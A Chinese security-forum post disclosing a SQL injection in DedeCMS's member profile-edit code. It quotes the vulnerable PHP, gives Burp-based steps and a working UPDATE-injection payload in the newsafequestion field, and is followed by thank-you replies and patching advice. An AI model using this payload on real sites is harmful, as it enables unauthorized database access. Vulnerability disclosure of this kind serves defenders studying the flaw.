楼主: 土豆

Dedecms 会员中心注入漏洞2

[复制链接]
发表于 2014-2-27 19:44:37 | 显示全部楼层 |阅读模式
本帖最后由 土豆 于 2014-2-27 19:46 编辑

漏洞作者: Matt

在member/buy_action.php文件处,

[PHP] 查看源码 复制代码
require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'config';
if(!isset($dopost)) $dopost = '';
 
$pwd2=(empty($pwd2))? "" : $pwd2;
$row=$dsql->GetOne("SELECT  * FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
$face = $row['face'];
if($dopost=='save')
{
    $svali = GetCkVdValue();
 
    if(strtolower($vdcode) != $svali || $svali=='')
    {
        ReSETVdValue();
        ShowMsg('验证码错误!','-1');
        exit();
    }
    if(!is_array($row) || $row['pwd'] != md5($oldpwd))
    {
        ShowMsg('你输入的旧密码错误或没填写,不允许修改资料!','-1');
        exit();
    }
    if($userpwd != $userpwdok)
    {
        ShowMsg('你两次输入的新密码不一致!','-1');
        exit();
    }
    if($userpwd=='')
    {
        $pwd = $row['pwd'];
    }
    else
    {
        $pwd = md5($userpwd);
        $pwd2 = substr(md5($userpwd),5,20);
    }
    $addupquery = '';
 
    #api{{
    if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
    {
        $emailnew = $email != $row['email'] ? $email : '';
        $ucresult = uc_user_edit($cfg_ml->M_LoginID, $oldpwd, $userpwd, $emailnew);       
    }
    #/aip}}
 
    //修改安全问题或Email
    if($email != $row['email'] || ($newsafequestion != 0 && $newsafeanswer != ''))
    {
        if($row['safequestion']!=0 && ($row['safequestion'] != $safequestion || $row['safeanswer'] != $safeanswer))
        {
            ShowMsg('你的旧安全问题及答案不正确,不能修改Email或安全问题!','-1');
            exit();
        }
 
        //修改Email
        if($email != $row['email'])
        {
            if(!CheckEmail($email))
            {
                ShowMsg('Email格式不正确!','-1');
                exit();
            }
            else
            {
                $addupquery .= ",email='$email'";
            }
        }
 
        //修改安全问题
        if($newsafequestion != 0 && $newsafeanswer != '')
        {
            if(strlen($newsafeanswer) > 30)
            {
                ShowMsg('你的新安全问题的答案太长了,请保持在30字节以内!','-1');
                exit();
            }
            else
            {
                $addupquery .= ",safequestion='$newsafequestion',safeanswer='$newsafeanswer'";//这里的newsafequest没过滤 我们直接update注入
            }
        }
    }
 
    //修改uname
    if($uname != $row['uname'])
    {
        $rs = CheckUserID($uname,'昵称或公司名称',FALSE);
        if($rs!='ok')
        {
            ShowMsg($rs,'-1');
            exit();
        }
        $addupquery .= ",uname='$uname'";
    }
 
    //性别
    if( !in_array($sex, array('男','女','保密')) )
    {
        ShowMsg('请选择正常的性别!','-1');
        exit();   
    }
 
    $query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
    echo $query1;
    $dsql->ExecuteNoneQuery($query1);



漏洞证明:

利用方法 注册用户并且登陆

完了打开http://127.0.0.1/dede/member/edit_baseinfo.php

然后随便写一下

输入验证码 打开BURP 抓包

点击提交

然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss

然后提交 之后再打开http://127.0.0.1/dede/member/edit_baseinfo.php

就可以看到自己的、用户名变成了注入之后的结果了


01.jpg

02.jpg

回复

使用道具 举报

发表于 2014-2-27 20:20:53 | 显示全部楼层
dede的洞果断收藏
回复 支持 反对

使用道具 举报

发表于 2014-2-27 20:24:48 | 显示全部楼层
谢谢土豆牛分享!支持!
回复 支持 反对

使用道具 举报

发表于 2014-2-27 21:59:04 | 显示全部楼层
连载的节奏啊mark
回复 支持 反对

使用道具 举报

发表于 2014-2-27 22:00:20 | 显示全部楼层
多谢分享,
回复 支持 反对

使用道具 举报

发表于 2014-2-28 02:09:31 | 显示全部楼层
不错!谢谢分享!
回复 支持 反对

使用道具 举报

发表于 2014-2-28 02:53:22 | 显示全部楼层
记得乌云发了十几条
回复 支持 反对

使用道具 举报

发表于 2014-2-28 07:59:13 | 显示全部楼层
谢谢土豆牛分享!支持!
回复 支持 反对

使用道具 举报

发表于 2026-5-21 11:25:00 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞2

这个漏洞分析得很清楚,感谢楼主分享。问题出在 `member/buy_action.php` 中对 `$newsafequestion` 和 `$newsafeanswer` 没有做充分的过滤,直接拼接到 SQL 查询中,导致可以通过修改安全问题的功能进行注入。代码里作者也标注了“这里的newsafequest没过滤 我们直接update注入”,确实是个明显的风险点。建议使用该版本 Dedecms 的站长尽快检查并打上补丁,或者升级到更安全的版本。
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: Dedecms 会员中心注入漏洞2

感谢楼主分享这个漏洞细节,分析得很清楚。这段代码确实在拼接 `$newsafeanswer` 时缺少过滤,直接拼进 `$addupquery` 导致注入。另外 `$newsafequestion` 也没有做类型或范围校验,存在同样风险。通过 `UPDATE` 注入可以修改任意字段,甚至进一步利用联合查询或延时注入获取数据。提醒使用 DedeCMS 的朋友尽快检查 `member/buy_action.php` 文件,并对相关输入做严格的过滤或参数化处理。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 03:47 , Processed in 0.054305 second(s), 22 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部